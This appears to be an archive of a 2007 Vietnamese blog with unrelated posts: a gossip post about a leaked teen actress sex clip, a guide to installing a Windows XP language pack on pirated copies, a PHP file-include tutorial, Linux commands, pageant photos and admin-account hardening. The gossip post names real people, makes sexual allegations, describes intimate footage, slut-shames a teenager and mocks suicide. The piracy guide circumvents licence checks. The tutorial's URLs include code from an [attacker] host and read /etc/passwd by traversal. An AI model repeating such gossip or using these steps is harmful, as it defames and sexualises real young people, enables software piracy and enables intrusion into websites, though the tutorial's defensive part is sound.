Thứ Ba, 16 tháng 10, 2007

Một sự thật nữa về Vàng Anh !

1. Đồng chí Viet Dart - nam tài tử trong film Vàng Anh-XXX có mối quan hệ cực kì sâu rộng trong giới ăn chơi tuổi teen Việt Nam. Hiện đang du học tại Mĩ. Đặc biệt phụ thân của anh ta là bác Nguyễn Đức Nhanh-giám đốc CA TPHN.

Thế nên anh ta là một trong nhưng đại thiếu gia tiền tiêu ko hết, gái ném qua cửa sổ vèo vèo như ném rác. Ra đường cứ thấy gái xinh nhổ một bãi nứoc bọt thế nào cũng trúng hàng của bạn Viet Dart. Xin gửi đến các bạn một tấm hình của bạn VIet Dart thân yêu của chúng ta




2 .Trong khoảng năm 2004 Viet Dart là người yêu của em Mi Vân (ng này thì không cần giới thiệu nữa nhé) . Cũng trong thời kì này em Mi Vân là bạn rất thân của em Vàng Anh (thân kiểu "thân ai người ấy lo í mà") . Như vậy theo điều này chúng ta có thể thấy bạn Viet Dart rất có thể đã "ực" ít nhất là 2 Mĩ Nhân tuổi teen là Vàng Anh và Mi Vân.

Thế nên các bạn hoàn toàn có quyền hi vọng vào việc trong tương lai sắp tới chúng ta sẽ được thưởng thức một clip nữa do chính em MiVân thủ vai nữ nhân vật chính. Mời các bạn xem vài bức hình thời còn mặn nồng giữa em Mi Vân và bạn VIet Dart






3. Trước đây trên một bài phỏng vấn của em Vàng Anh, trên đó em Vàng Anh cũng có xác nhận rằng Viet Dart là người yêu cũ của em hồi năm 2005, sau đó đã chia tay và du học ở bên Mĩ (Viet Dart). Và sau đó đến khoảng năm 2006 em yêu anh Khải Anh con bác Khải Hưng-Giám đốc hãng phim truyền hình Việt Nam- người phụ trách chính serie NKVA trên VTV3.

Thế nên em Vàng Anh được quyền ưu tiên và tuyển thẳng vào vai chính của nhân vật Vàng Anh. Sự nghiệp của em lúc này lên như "diều gặp gió" . Thế nhưng ko hiểu vì lí do gì bạn Viet Dart có vẻ "cay" vụ này nên hè vừa rồi đã về VN làm một cái clip thật là hoành tráng với mục đích rửa hận bạn Khải Anh vì đã cướp người yêu của mình. Bằng cách nhằm thẳng vào serie film Vàng Anh đang rất ăn khách trên VTV3. Ngoài ra em Vàng ANh này còn đã từng ngủ với cả bạn Lâm con bác tổng VP-Bank. Như thế ta có thể thấy em Vàng ANh này cũng thuộc dạng "Girl" thượng cấp chuyên ngủ với các thiếu gia, công tử.

4. Trong clip nếu các bạn chịu khó nghe kĩ thì thấy rất rõ, Viet Dart nói những câu như sau : Vàng Anh oi, Vàng Anh, anh đưa lên mạng nhé , em quay đi v..v . Ngay trong đoạn đầu tiên của clip Viet Dart đã nói " em quay đi" , thế là em Vàng Anh ngay lập tức cầm điện thoại lên và dí thẳng vào "chỗ đó". Giúp anh em được dịp "mãn nhãn" vì được chiêm ngưỡng "cái ấy" ( cái (!) hẹ hẹ dạm cho một số anh em trẻ ) tuyệt đẹp của em Vàng Anh. Như thế rõ ràng chúng ta có thể kết luận mấy điều như sau :

+ CLip được quay vào hè vừa rồi

+ Viet Dart cố tình quay rồi up lên mạng để chơi lại bạn Khải Anh, rừa mồi hận tình cho mình

+ Vàng Anh và Viet Dart chả yêu đuơng gì hết , rặt một lũ teen nứt mắt bệnh hoạn đua đòi nhau sống buông thả, đú đởn

+ Cái thể loại mà chủ động cầm điện thoại dí vào cái (!) của mình để quay film thì chăng bao giờ có cái chuyện tự tử mới cả hối hận. Có treo cổ bằng khăn mặt thì có. Các bác cứ đọc trả lời phỏng vấn em Vàng Anh trên các báo điện tử thì biết. Nó nhơn nhơn ra chứ có sợ sệt gì đâu

+ Việt Dart có mối quan hệ với các em gái tuổi teen hết sức sâu rộng và rất có thể đã "ực" rất nhiều em rồi.
Xin minh họa thêm một bức nữa . Trong bức này em Vàng Anh đứng ở bên phải ngoài cùng. Các bác chú ý cái tay của bạn VIet Dart thò xuống cạp quần của em Vàng Anh hết sức tự nhiên



5. Thái độ nhơn nhơn của em Vàng Anh cho thấy em chả sợ cái chi gì cả. Như thế chúng ta có thể thấy mối quan hệ rất mạnh của em Vàng Anh ko những với giới báo chí truyền hình mà cả giới mạng nữa. Vậy ai đã đứng sau em Vàng Anh để chống cho em vụ này ??? Câu hỏi cần được giải đáp. ??"

Thứ Hai, 15 tháng 10, 2007

Hướng dẫn các cài đặt giao diện tiếng việt cho Windows XP SP2

Vào khoảng tháng 4 Microsoft giới thiệu phiên bản Windows XP với giao diện tiếng việt được việt hoá một phần.Mọi người có thể download bản LIP về và cập nhật cho phiên bản XP SP2 nhưng tiếc là nó chỉ cài được cho phiên bản Windows có bản quyền với những phiên bản có số CD KEY bị liệt vào danh sách đen thì đừng mơ mà cài được bắt chấp việc bạn là người việt muốn được sử dụng bản tiếng việt.Với bản thân tôi hay một số người tiền dành cho việc online đã phải dành dụm tiết kiệm rồi chứ tiền đâu mà để bỏ tiền ra mua XP bản quyền hàng trăm $$$ nhưng trong lòng vẫn luôn mong muốn được nhìn thấy tận mặt “Con thằng Tây lai Ta” xem nó như thế nào.Do vậy trước khi được tiếp xúc với giao diện tiếng việt của XP có lẽ câu mà bạn có thể rất ghét là “Hành động đảo ngược lại”Sao mà câu nói tiếng việt gì mà ngang phè phè vậy.Tuy nhiên bạn vẫn có thể cài bản LIP với Windows XP không có bản quyền theo hướng dẫn sau:
Đầu tiên tải bản LIP ở trang chủ của Microsoft tại địa chỉ sau:
http://download.microsoft.com/download/a/8/4/a84d86b6-f982-480c-908c-94863d34e760/LIPSetup.msi

Sau khi đã tải về xong thì công việc cài đặt có thể bắt đầu.
Trước tiên cần phải thay đổi CD KEY vì khi KEY của bạn thuộc danh sách đen thì không thể cài được.Thông thường khi bạn cài Windows XP @rắc thì đã được Activate sẵn rồi do vậy bạn cần phải Activate lại.Để xuất hiện hộp thoại Activate Windows có thể làm theo 2 cách sau đây:
+ Chọn Start > Run chọn regedit sau đó tìm đến khóa sau HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\wpaevents.Bạn nhìn sau khung bên phai thấy mục OOBETimer bạn hãy sửa đổi click phải chon Modify và sửa chữa bất kỳ mục đích là để Activate lại.Sau đó thoát khỏi regedit chọn

Start > Run gõ vào %systemroot%\system32\oobe\msoobe.exe /a

+ Nếu bạn ngại phải gõ thì tôi cung cấp luôn cho công cụ để làm xuất hiện hộp thoại Activate Windows bạn có thể tải ở đây:

http://rapidshare.de/files/1750736/updatesofts.zip.html

Sau khi tải về bạn chạy file XPPID.exe để Activate
Khi hộp thoại trên đã xuất hiện bạn lựa chọn Yes,I want to telephone a customer service representative to activate Windows”. Như hình sau:





Tiếp theo chon Next.Sẽ đưa bạn đến một hộp thoại khác.Bạn hãy lựa chọn Button Change Product key.





Hộp thoại Change Product Key xuất hiện bạn điền số CD KEY sau vào (Nhớ phải điền đúng nhé).Sau đó chọn Button Update.





Sau khi đã Update xong bạn có thê tắt hộp thoại trên và bắt đầu cài đặt.
Công việc cài đặt chỉ cần nhấp chuột vào file LIPSetup.msi và cài đặt.
Chú ý:Trong qúa trình cài đặt có thể đòi hỏi đĩa CD















Xong khi đã hoàn tất việc cài đặt và bạn khởi động lại và Giao diên Ngôn ngữ tiếng việt đã thành công.




Một số vắn đề cần lưu ý trong quá trình cài đặt và sử dụng:
+Bản LIP này tôi cài đặt hoàn toàn Offline trong điều kiện không kết nối internet.
+Quá trình cài đặt này hoàn toàn thành công với phiên bản XP chợ như trên của tôi nếu bạn không thành công có thể do chưa thao tác đúng hay bộ cài đặt tương thích với một số phầm mềm hay việc bạn loại bỏ một số thành phần của Windows XP đi hay CD KEY này đã bị đưa vào Blacklist.
+Phiên bản cài đặt là bản SP2.
+Xong khi cài đặt xong bạn có thể phải bỡ ngỡ với ngôn ngữ tiếng việt vì đã quen dùng bản tiếng anh.
Chúc mọi người thành công.

PHP File Include

PHP File Include - Phát hiện, khai thác và khắc phục (Bài viết của Guanyu - Mod HVA 2003)
Bài viết này tuy đã lâu rồi, nhưng hiện nay lỗi này vẫn còn khá phổ biến, nên tôi post lại bài này.
Bài này thực sự có ích cho những lập trình viên sử dụng PHP, thông thường những lập trình viên nếu có chú ý đến bảo mật thì cũng chỉ chủ yếu xử lí SQL Injection mà không biết đến cái gọi là PHP injection.
Đây cũng là 1 lỗi rất phổ biến mà hacker khai thác ở mức web application.

Bài viết này là một bài tổng kết lại quá trình tìm hiểu lỗi PHP File Include. Có thể nó hơi khó hiểu, nhưng mình hi vọng các bạn có thể định nghĩa rõ hơn về lỗi này cũng như tự mình có thể phát hiện lổi trong các sản phẩn PHP. Xin nói thâm là các đánh giá dưới đây là theo góc nhìn của QVT chứ không phải đánh giá của bất kì hệ thống nào.

---------------------------------
Mức độ phổ thông: 5-6
Mức độ nguy hiểm: 7-9
Mục tiêu tấn công: Server
Vị trí kẻ tấn công: Client
---------------------------------

Như ta đã biết hàm include() hay require() trong PHP giúp cho lập trình viên không phải lập đi lập lại một đoạn mã thường sử dụng nào đó và làm cho chương trình trở nên gọn hơn. Nhưng song song với mặt tích cực là mặt tiêu cực, tuy hai hàm này rất tiện lợi nhưng nếu ta dùng nó không cẩn thận thì sẽ rất nguy hiểm.

I ) Phát Hiện:
__ Lỗi PHP file include phát sinh do sự bất cẩn của người viết chương trình (xin gọi là coder). Thay vì sử dụng một string ‘x’ (chuỗi) làm đường dẫn đến file cần include (hay require) thì coder lại dùng một biến ‘y’ để thay thế cho chuỗi ‘x’ ấy nhằm tránh lập lại một chuỗi ‘x’ nhàm chán (có thể do họ… lười). Nếu biến ấy đã được khai báo thì không có vấn đề gì ngiêm trọng. Ngược lại nếu coder bất cẩn không khai báo biến ‘y’ ấy thì các attacker sẽ lợi dụng ngay điều này. Họ sẽ khai báo biến ‘y’ là đường dẫn đến file của họ (có thể là BackDoor) và thế là hàm include() sẽ thực hiện một cách máy móc: include file có đường dẫn được attacker khai báo… Thật nguy hiểm.

__ Theo tớ có hai loại lỗi file include: include remote file và include local file.

__ Để hiểu rõ hơn, các bạn hãy xem các ví dụ đơn giản sau:

1/ Include remote file:

a/ Lỗi đơn giản:

---------BEGIN of test.php-------

CODE <?php

$ex=”/home/www/testsite”;
include(“$ex/index.php”);

[…]

?>

----------END of test.php---------


Đoạn code trên không có vấn đề gì cả. Nhưng nếu là đoạn code dưới đây thì sao?

---------BEGIN of test.php-------

CODE <?php

include(“$ex/index.php”);

[…]

?>

----------END of test.php---------


__ Bạn nói sao? ừ 100% là trang này đã bị lỗi File include. Chúng ta có thể khai thác bằng cách sữ dụng link sao:
http://www (http://www/).[target].com/test.php?ex=http://www.[attacker].com/
__ Link này sẽ include file http://www (http://www/).[attacker].com/index.php. Tại seo lại như vậy? Ta có thể giải thích một cách đơn giản như sau: ta đã khai báo biến $ex là http://www (http://www/).[attacker].com/ lúc bấy giờ trong hàm include() có dạng như sau:
include(“http://www.[attacker].com/index.php”). Bạn hiểu chưa?

__ Chúng ta cần chú ý một vấn đề rất quan trọng trong việc khai thác lỗi File Include này. Đó là host chứa file ta muốn include phải KHÔNG HỖ TRỢ PHP. Bạn có biết vì sao lại như vậy không? Vấn đề hết sức đơn giản vì hàm include() và require() chỉ có thể include được giá trị HTML Output của trang mà nó include (nếu include các file ở ngoài host). Do vậy nếu bạn dùng host có hỗ trợ PHP thì cái mà bạn include được chỉ là BackDoor đang chạy trên… host của bạn thôi chứ bạn chưa làm gì được host của victim cả. Trong khi mục đích của ta ở đây là “biến file bị lỗi của victim thành một backdoor”. Vì vậy, host không hổ trợ PHP sẽ đưa code của file này ra HTML output và thế là toàn bộ code đó được file bị lỗi đưa vào source của nó. Thế là nó tự biến mình thành backdoor một cách vô thức.

b/ Lỗi File include thông qua isset(), if()…
Mời bạn xem tiếp code của một số file:

---------BEGIN of test1.php-------

CODE <?php

if (!$file) {$file = "index.php";}
include(“$file”);

[…]

?>

----------END of test1.php---------



---------BEGIN of test2.php-------

CODE <?php

if (!isset( $path )) $path = '/home/';

include(“$path/index.php”);

[…]

?>

----------END of test2.php---------


__ Cả hai đoạn code này có chung một sai lầm: đó là không khai báo trực tiếp các biến mà phụ thuộc vào người dùng cuối có khai báo các biến đó không. Tôi xin giải thích ý nghĩa của hai đoạn code trên cho các bạn không có khả năng đọc code:
____ Ở file test1.php: nếu biến “$file” chưa được khai báo thì sẽ được gắn giá trị mặc định là index.php. Và sau đó là include file được khai báo ở biến “$file”.
____ Ở file test2.php: cũng tương tự như trên, nếu biến “$path” chưa được khai báo thì sẽ được gắn giá trị mặc định là “/home/” và sau đó sẽ include file có thư mục được khai báo ớ biến “$path”.

__ Chính vì vậy các attacker có thể lợi dụng sơ hở này để khai báo các biến và include các file mà họ muốn. Vì khi ta đã khai báo biến thì các giá trị mặc định của biến đó đã bị vô hiệu hoá.
__ Ta có thể khai thác như sau:

Với file test1.php:
http://www (http://www/).[target].com/test1.php?file=http://www.[attacker].com/remview.php
Sẽ Include file remview.php

Với file test2.php:
http://www (http://www/).[target].com/test2.php?path=http://www.[attacker].com/
Sẽ include file “index.php” tại trang http://www (http://www/).[attacker].com/

2/ Include local file:

__ Loại này cũng gần giống như include remote file. Nhưng nó khác ở chổ: biến chứa tên file bị giới hạn bởi một thư mục đứng trước nó.

Vd: Một file bị lỗi include local file có dạng như sau:

---------BEGIN of test3.php-------

CODE <?php

include(“/home/$file”);

[…]

?>

----------END of test3.php---------


Xin chú ý là biến $file chưa được khai báo.
__ Nếu ta dùng:

http://www (http://www/).[target].com/test3.php?file=http://www.[attacker].com/remview.php

Thì trong code của file test3.php sẽ trở thành như sau:

---------BEGIN of test3.php-------

CODE <?php

include(“/home/http://www.[attacker].com/remview.php”);

[…]

?>

----------END of test3.php---------


Một đường dẫn vô nghĩa. Do đó ta không thể include được file ta muốn.

__ Bấy giờ ta chỉ có thể sử dụng cách sau:

http://www (http://www/).[target].com/test3.php?file=../../../../../../../../etc/passwd

Link trên đã khai báo biến $file với giá trị là: “../../../../../../../../etc/passwd”. Lúc này code của file test3.php có dạng:

---------BEGIN of test3.php-------

CODE <?php

include(“/home/../../../../../../../../etc/passwd”);

[…]

?>

----------END of test3.php---------


__ Các kí tự : “../../” đã giúp ta vượt qua các cấp thư mục trở về thư mục gốc”/” (đối với Linux) và sau đó là include file /etc/passwd. Thế là toàn bộ nội dung file passwd sẽ được hiển thị trên trình duyệt của attacker. Ta có thể thay thế /etc/passwd bằng bất cứ file nào ta muốn include (+xem). Xin chú ý: càng dùng nhiều kí tự “../” càng tốt vì nó sẽ đảm bảo đưa ta đến thư mục gốc.

II ) Khắc phục:

Khắc hục lỗi file include này theo tớ là đơn giản hơn fix các lỗi khác nhiều.
Nếu sản phẩm bạn code chưa mắc lỗi hay đã này thì tôi xin khuyên bạn vài điều để hạn chế việc mắc phải lỗi này.
+ Hạn chế dùng các biến trong các hàm (include và require), nếu đã dùng nên đảm bảo các biến đó đã được khai báo đầy đủ và chính xác. Nếu bạn vẫn thích dùng biến thay thế cho đường dẫn thì tại sao bạn không dùng hàm define() nhỉ? Hàm này không cho phép user khai báo từ bên ngoài, hoặc bạn có thể dùng các kí tự đại diện cho các cấp thư mục như: “./” (thư mục hiện hành), “../” (thư mục cấp trên).

+ Hạn chế việc khai báo biến phụ thuộc vào nguời dùng cuối như ở Vd 2. Nên khai báo trực tiếp biến đó.

Các lệnh Shell cơ bản trong Linux

Khi mở một shell, bạn cần đến tài khoản kích hoạt vào thư mục chủ (thông thường nằm trong /home/tên_người_dùng).

Chú ý rằng mỗi lệnh đều có nhiều tùy chọn riêng của mình. Để xem các tùy chọn cho một lệnh cụ thể, đơn giản bạn chỉ cần gõ "man " (trong đó: man là từ khóa; command là tên lệnh). Một điểm quan trọng cần chú ý là trong các hệ điều hành Linux, câu lệnh có phân biệt chữ hoa, chữ thường. “A” sẽ được hệ điều hành hiểu là khác so với “a”.

Để vào hệ thống file, dùng:

- pwd: đưa ra ngoài màn hình thư mục đang hoạt động (ví dụ: /etc/ssh).

- cd: thay đổi thư mục (ví dụ: cd .. – ra một cấp thư mục hiện tại; cd vidu – vào thư mục /vidu).

- ls: đưa ra danh sách nội dung thư mục.

- mkdir: tạo thư mục mới (mkdir tên_thumuc).

- touch: tạo file mới (touch ten_file).

- rmdir: bỏ một thư mục (rmdir ten_thumuc).

- cp: copy file hoặc thư mục (cp file_nguồn file_đích).

- mv: di chuyển file hoặc thư mục; cũng được dùng để đặt lại tên file hoặc thư mục (mv vị_trí_cũ vị_trí_mới hoặc mv tên_cũ tên_mới).

- rm: loại bỏ file (rm tên_file).

Để tìm kiếm file, bạn có thể dùng:

- find : dùng cho các tên file.

- grep < tiêu chuẩn tìm kiếm>: để tìm nội dung trong file.

Để xem một file, bạn có thể dùng:

- more : hiển thị file theo từng trang.

- cat < tên file>: hiển thị tất cả file.

- head < tên file>: hiển thị các dòng đầu tiên.

- tail < tên file>: hiển thị các dòng cuối cùng (có thể hữu ích trong những trường hợp như khi bạn muốn xem thông tin cuối cùng của một file hệ thống).

Để chính sửa file, bạn phải sử dụng trình soạn thảo tích hợp sẵn trên dòng lệnh. Thông thường, đây là vi và được dùng với cú pháp: vi .

Để giải nén một lưu trữ (thông thường có đuôi tar.gz), bạn phải dùng lệnh tar với cú pháp tar -xvf .

Để in một file, dùng lệnh lpr . Chú ý là bạn phải có một số daemon hoạt động để quản lý máy in. Thông thường đây là các cup (chủ yếu là UNIX Printing System) có thể sử dụng cho tất cả các phân phối chính.

Để loại bỏ file khỏi hàng đợi ở máy in (bạn có thể lên danh sách hàng đợi bằng lệnh lpq), sử dụng câu lệnh lprm .

Để lắp hoặc gỡ bỏ thiết bị (thêm vào hệ thống file với vai trò như một phương tiện được phép sử dụng), dùng:

- mount /mnt/floppy: lắp thêm ổ mềm.

- umount /mnt/floppy: gỡ bỏ ổ mềm.

- mount /mnt/cdrom: lắp ổ CD-ROM.

- mount /mnt/cdrom: gỡ ổ DC-ROM.

Các thiết bị này thường được cài và cho phép sử dụng một cách tự động. Nhưng có thể một ngày đẹp trời nào đó bạn lại phải tự mình thực hiện công việc này khi có lỗi xảy ra. Đừng lo lắng!

Để tạo một phân vùng

Đầu tiên, tạo một thư mục trong /mnt (mkdir /mnt/ổ_đĩa_mới). Sau đó sử dụng lệnh mount (mount /dev/source /mnt/ ổ_đĩa_mới), trong đó /dev/source là thiết bị (tức phân vùng) bạn muốn lắp thêm vào hệ thống file.

Nếu muốn kết nối tới một host từ xa, sử dụng lệnh ssh. Cú pháp là ssh .

Quản lý hệ thống:

- ps: hiển thị các chương trình hiện thời đang chạy (rất hữu ích: ps là cái nhìn toàn bộ về tất cả các chương trình).

Trong danh sách đưa ra khi thực hiện lệnh ps, bạn sẽ thấy có số PID (Process identification - nhân dạng tiến trình).

Con số này sẽ được hỏi đến khi muốn ngừng một dịch vụ hay ứng dụng, dùng lệnh kill .

- top: hoạt động khá giống như Task Manager trong Windows. Nó đưa ra thông tin về tất cả tài nguyên hệ thống, các tiến trình đang chạy, tốc độ load trung bình… Lệnh top -d thiết lập khoảng thời gian làm tươi lại hệ thống. Bạn có thể đặt bất kỳ giá trị nào, từ .1 (tức 10 mili giây) tới 100 (tức 100 giây) hoặc thậm chí lớn hơn.

- uptime: thể hiện thời gian của hệ thống và tốc độ load trung bình trong khoảng thời gian đó, trước đây là 5 phút và 15 phút.

Thông thường tốc độ load trung bình được tính toán theo phần trăm tài nguyên hệ thống (vi xử lý, RAM, ổ cứng vào/ra, tốc độ load mạng) được dùng tại một thời điểm. Nếu tốc độ được tính toán là 0.37, tức có 37% tài nguyên được sử dụng. Giá trị lớn hơn như 2.35 nghĩa là hệ thống phải đợi một số dữ liệu, khi đó nó sẽ tính toán nhanh hơn 235% mà không gặp phải vấn đề gì. Nhưng giữa các phân phối có thể khác nhau một chút.

- free: hiển thị thông tin trên bộ nhớ hệ thống.

- ifconfig : để xem thông tin chi tiết về các giao diện mạng; thông thường giao diện mạng ethernet có tên là eth(). Bạn có thể cài đặt các thiết lập mạng như địa chỉ IP hoặc bằng cách dùng lệnh này (xem man ifconfig). Nếu có điều gì đó chưa chính xác, bạn có thể stop hoặc start (tức ngừng hoặc khởi_động) giao diện bằng cách dùng lệnh ifconfig up/down.

- passwd: cho phép bạn thay đổi mật khẩu (passwd người_dùng_sở_hữu_mật_khẩu hoặc tên người dùng khác nếu bạn đăng nhập hệ thống với vai trò root).

- useradd: cho phép bạn thêm người dùng mới (xem man useradd).

Dù ở phân phối nào, bạn cũng có thể dùng phím TAB để tự động hoàn chỉnh một lệnh hoặc tên file. Điều này rất hữu ích khi bạn quen với các lệnh. Bạn cũng có thể sử dụng các phím lên, xuống để cuộn xem các lệnh đã nhập. Bạn có thể dùng lệnh đa dòng trên một dòng. Ví dụ như, nếu muốn tạo ba thư mục chỉ trên một dòng, cú pháp có thể là: mkdir thư_mục_1 ; mkdir thư_mục_2 ; mkdir thư_mục_3.

Một điều thú vị khác nữa là các lệnh dạng pipe. Bạn có thể xuất một lệnh thông qua lệnh khác. Ví dụ: man mkdir tail sẽ đưa ra thông tin các dòng cuối cùng trong trang xem "thủ công" của lệnh mkdir.

Nếu lúc nào đó được yêu cầu phải đăng nhập với tài khoản gốc (tức "siêu" admin của hệ thống), bạn có thể đăng nhập tạm thời bằng cách dùng lệnh su. Tham số -1 (su-1) dùng để thay đổi thư mục chủ và cho các lệnh đã hoặc đang dùng. Chú ý là bạn cũng sẽ được nhắc một mật khẩu.

NGƯỜI ĐẸP VỚI BIKINI

Dù đến từ nhiều quốc gia có phong tục tập quán khác nhau, nhưng những người đẹp đều mang trong mình dòng máu Việt nên họ luôn hướng tới tiêu chí của cuộc thi: Tôn vinh vẻ đẹp về nhân cách, tâm hồn, trí tuệ và ngoại hình của người phụ nữ Việt Nam.



Sáng 28/8, tại bãi tắm nhân tạo trong khuôn viên công viên nước Vinpearl, 37 người đẹp đã trình diễn vẻ đẹp ngoại hình của mình trong những bộ bikini màu đỏ, đẹp như những đóa hoa rực rỡ trước biển xanh màu ngọc bích.


Trước vẻ đẹp phóng khoáng của biển, những người đẹp đã có những màn trình diễn tuyệt vời. Trang Eva.vn giới thiệu chùm ảnh của các thí sinh trong buổi thi Hoa hậu Biển.



Nguyễn Thị Thanh Loan (trái) và Võ Thị Lệ Thu



Nguyễn Thị Hương Giang, Nguyễn Phương Liên, Bùi Thị Hiên (Từ trái qua)



Vũ Ngọc Anh được đánh giá cao cho danh hiệu Hoa hậu ảnh.



Lê Thị Hoa (trái) và Natalyia Trần



Anna Hứa Ngọc Anh, Hoàng Minh Thúy, Nguyễn Kang Wun Ching (Từ trái qua)



Nguyễn Thị Anh Ly (trái), Đặng Minh Thu



Nguyễn Thị Vân Anh được đánh giá cao ở cuộc thi Hoa hậu Biển.



Nguyễn Bình Phương (trái) và Teressa Sam.



Ngô Phương Lan - được dự đoán sẽ là Hoa hậu thế giới người Việt 2007.

Giảm mặt tấn công của các tài khoản quản trị viên



Chúng ta đã thấy được có một xu hướng mới đang đến với mạng công ty đó là các nhà quản trị mạng muốn hạn chế được những gì mà tài khoản “quản trị viên” có thể thực hiện trong môi trường mạng. Không chỉ các quản trị viên từ Active Directory mà cả quản trị viên trên các máy trạm và máy chủ trong toàn doanh nghiệp. Có khá nhiều cách cấu hình mà chúng ta có thể thực hiện để hạn chế được hay nói cách khác là kiểm soát được các tài khoản này. Tuy nhiên vấn đề quan trọng là cần phải làm gì, những cấu hình nào có ý nghĩa đối với bạn và những gì không nên thực hiện khi nói đến các tài khoản quản trị trong toàn tổ chức. Đây, chúng tôi sẽ trả lời tất cả các câu hỏi đó để bảo đảm rằng bạn có thể tạo được các cấu hình thích hợp cũng như biết những gì mà bạn có thể để mở.

Các tài khoản quản trị nằm ở đâu?

Trước khi bắt đầu hạn chế các tài khoản quản trị trên mạng, thì bạn cần phải hiểu được chúng nằm ở đâu và chúng có những đặc quyền gì. Đầu tiên chúng ta phải bắt đầu bằng việc quan sát trên các máy trạm và máy chủ trong tổ chức. Tất cả máy tính chạy Windows đều có một tài khoản quản trị được cấu hình ở phần cài đặt. Tài khoản này là tài khoản có mức cao nhất mà bạn có ở mỗi máy tính. Tài khoản này có tư cách hội viên trong nhóm quản trị, được ban cho quyền điều khiển cao nhất trên máy tính đó.

Cũng có các tài khoản quản trị được cấu hình trong Active Directory. Miền đầu tiên được cấu hình trong Active Directory doanh nghiệp của bạn có một tài khoản quản trị đặc biệt. Lý do nó đặc biệt là do các nhóm mà nó có tư cách hội viên trong đó. Tài khoản quản trị ban đầu này có tư cách hội viên trong các nhóm bảo mật chính dưới đây:




  • Administrators


  • Domain Admins


  • Enterprise Admins


  • Schema Admins

Miền ban đầu gồm cả các nhóm Enterprise Admins và Schema Admins. Mỗi miền thêm vào sẽ có một tài khoản quản trị với tư cách là hội viên trong nhóm Domain Admins và Administrator

Các quản trị viên có thể thực hiện những gì

Bây giờ chúng ta đã biết nơi các tài khoản quản trị cư trú, vậy chúng có thể thực hiện những gì? Các tài khoản quản trị viên cục bộ có đầy đủ quyền truy nhập trên chính máy tính mà nó đang tồn tại. Điều đó có nghĩa là chúng có thể thay đổi bất cứ tài nguyên nào trên máy tính như các dịch vụ, tài khoản, tài nguyên, ứng dụng và các file được lưu trong máy tính.

Các tài khoản quản trị viên trong Active Directory có cùng một quyền ngang nhau. Khi các tài khoản đó có quyền điều khiển mức miền hoặc cao hơn, chúng không chỉ kiểm soát các dịch vụ, tài khoản, tài nguyên, ứng dụng và các file được lưu trong bộ điều khiển miền, mà còn với bất kỳ máy tính nào trong miền tương ứng. Quản trị viên nằm trong miền ban đầu của Active Directory cũng có quyền lực này trên mỗi máy tính riêng trong toàn bộ mạng tài khoản. Và quản trị doanh nghiệp có thể kiểm soát tất cả các khía cạnh của mạng tài khoản này.

Kiểm soát các tài khoản quản trị viên

Như bạn có thể thấy, các tài khoản quản trị viên có rất nhiều quyền lực. Chính vì vậy bạn cần phải bảo vệ tài khoản này. Có rất nhiều tùy chọn để giảm được rủi ro có liên quan đến việc bị tấn công hay bị thỏa hiệp tài khoản này. Các đề xuất này có thể dường như là công việc mở rộng, các phương pháp hoặc khái niện không hiệu quả có thể làm cho bạn giảm năng suất. Khi xem xét đến bất cứ khái niệm bảo mật nào bạn sẽ phải có kế hoạch nhất định. Bảo mật hoàn toàn không dễ dàng gì, nếu nó dễ thì chúng ta đã không phải quan tâm quá nhiều đến nó như vậy. Vậy bạn phải thực hiện những gì để bảo vệ các tài khoản quản trị viên trong môi trường của mình?

Đầu tiên, không sử dụng các tài khoản quản trị viên. Các tài khoản này chỉ nên được sử dụng để thiết lập môi trường ban đầu, sau khi thiết lập bạn cần phải đưa “tài khoản người dùng thông thường” vào nhóm quản trị viên hoặc một trong những hội viên của nhóm quản trị khác nhau. Điều này sẽ đạt được các kết quả giống nhau và không cần sử dụng “tài khoản quản trị viên thực sự”.

Thứ hai, không sử dụng “tài khoản người dùng bình thường” được đặt trong Administrator hoặc một trong các nhóm quản trị khác theo định kỳ và nhiệm vụ người dùng chuẩn. Kiểm tra email, viết các bản ghi nhớ, dẫn chứng tư liệu,… nên được thực hiện với tài khoản người dùng chuẩn mà không cần cho tài khoản quản trị. Điều này yêu cầu cần phải có tài khoản song song cho các quản trị viên. Một giải pháp luân phiên để thực hiện điều đó là sử dụng Vista với UAC được kích hoạt. Ở Vista, UAC là một công nghệ lý tưởng cho việc giải quyết vấn đề này.

Thứ ba, vô hiệu hóa tài khoản quản trị viên – Administrator. Bạn chỉ có thể thực hiện việc này với Windows XP và Server 2003, được thể hiện bằng một thiết lập trong Group Policy Object, xem hình 1.



Hình 1: Với Group Policy Object, bạn có thể vô hiệu hóa bất kỳ tài khoản quản trị viên nào


Tôi sẽ phải đưa ra một số cảnh báo trước khi bạn vô hiệu hóa tài khoản này. Đầu tiên, bạn cần bảo đảm tạo một tài khoản quản trị khác trước khi vô hiệu hóa tài khoản này. Nếu không thực hiện điều này thì bạn sẽ khóa chính bản thân bạn ở bên ngoài hệ thống khi tạo một tài khoản kiểu quản trị viên khác. Kế đến, bạn cần xem xét những gì sẽ phải thực hiện đối với các kế hoạch khôi phục khi xảy ra tình huống xấu. Không có tài khoản quản trị viên, bạn có thể sẽ không có quyền truy cập vào một số file, dịch vụ và các công cụ khôi phục thảm họa nào đó.

Thứ tư, thiết lập Active Directory và thành phần được ủy thác Group Policy thay vì chỉ ném các tài khoản người dùng vào nhóm quản trị miền. Trong hầu hết các trường hợp, bạn có thể sử dụng công cụ ủy thác và các kỹ thuật để cho quản trị viên quyền điều khiển trên Active Directory và Group Policy. Hình 2 và hình 3 thể hiện cho bạn giao diện cho các vùng điều khiển ủy thác.



Hình 2: Ủy thác Active Directory



Hình 3: Ủy thác Group Policy


Thứ năm, bạn nên kích hoạt việc thẩm định đối với các tài nguyên, nơi mà các quản trị viên không có quyền truy cập, và không nên chấp nhận sự tự truy cập của bản thân họ. Những gì sẽ phải thực hiện ở đó là giúp bảo vệ được tài nguyên ở những nơi mà các quản trị viên không nên có quyền truy cập trực tiếp. Điều này có thể là một giải pháp thông minh cho các file có liên quan đến HR, tài chính, quản trị, cổ phần của công ty,… Hãy nhớ những gì chúng ta đã thảo luận trong phần trước đối với các tài khoản quản trị viên khác và sự truy cập của họ. Một quản trị việc không được liệt kê trong danh sách trên một tài nguyên không có nghĩa rằng họ không thể thự bổ sung thêm bản thân họ. Bạn có thể kích hoạt việc thẩm định trên bất kỳ máy tính nào bằng Group Policy như những gì thể hiện trên hình 4.



Hình 4: Thẩm định để kiểm tra sự truy cập của các quản trị viên


